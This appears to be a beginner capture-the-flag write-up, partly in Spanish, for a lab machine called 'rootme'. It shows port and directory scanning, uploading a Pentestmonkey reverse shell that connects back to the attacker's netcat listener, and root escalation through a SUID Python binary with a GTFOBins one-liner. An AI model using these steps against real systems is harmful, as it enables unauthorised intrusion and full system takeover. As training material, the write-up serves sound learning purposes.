A ctf for beginners, can you root me?

Deploy the machine

Bueno esto no tiene mucho misterio, es darle al botón de despliegue y esperar a que arranque.

Reconnaissance

First, let’s get information about the target.

Scan the machine, how many ports are open? What service is running on port 22?

root@kali:~# nmap -sS --min-rate 500 -p- --open -n -Pn 10.10.69.166
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-20 17:10 UTC
Nmap scan report for 10.10.69.166
Host is up (0.0011s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:56:12:EA:16:0D (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.97 seconds
root@kali:~# 

What version of Apache is running?

root@kali:~# whatweb 10.10.69.166
http://10.10.69.166 [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.69.166], Script, Title[HackIT - Home]
root@kali:~# 

Find directories on the web server using the GoBuster tool.

Yo uso wfuzz. Lo siento, me resulta más comoda esta herramienta.

root@kali:~# wfuzz -c -t 300 --hc=404 -w /usr/share/wordlists/wfuzz/general/big.txt http://10.10.69.166/FUZZ

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.69.166/FUZZ
Total requests: 3024

===================================================================
ID           Response   Lines    Word     Chars       Payload                             
===================================================================

000000740:   301        9 L      28 W     310 Ch      "css"                               
000001474:   301        9 L      28 W     309 Ch      "js"                               
000001988:   301        9 L      28 W     312 Ch      "panel"                             

Total time: 28.25782
Processed Requests: 3024
Filtered Requests: 3021
Requests/sec.: 107.0146

What is the hidden directory?

Tras revisar los resultados del comando anterior es fácil concluir que la respuesta es /panel/.

Getting a shell

Find a form to upload and get a reverse shell, and find the flag.

He optado por la shell inversa de Pentestmonkey. Hay que editar el fichero y cambiar la IP a la de nuestro equipo atacante y, si se desea, cambiar el puerto.

image-20210223190717386

Al mismo tiempo preparo una sesión de netcat en el equipo atacante para recibir la conexión de la shell inversa.

root@kali:~# rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.82.225] from (UNKNOWN) [10.10.69.166] 39068
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 17:23:36 up 15 min,  0 users,  load average: 0.00, 0.06, 0.14
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

user.txt

$ ls
html
user.txt
$ cat user.txt
{ESTO_NO_TE_LO_PONGO}
$ 

Privilege escalation

Now that we have a shell, let’s escalate our privileges to root.

Search for files with SUID permission, which file is weird?

Hago una búsqueda ejecutables con SUID y entre los resultados destaca el ejecutable de Python.

$ find / -perm -u=s -type f 2>/dev/null
[...]
/usr/bin/python
[...]

Find a form to escalate your privileges.

Busco la forma de explotar el binario de Python en la web GTFOBins y ejecuto lo siguiente.

$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
whoami
root

root.txt

cd /root
ls
root.txt
cat root.txt
{ESTO_NO_TE_LO_PONGO}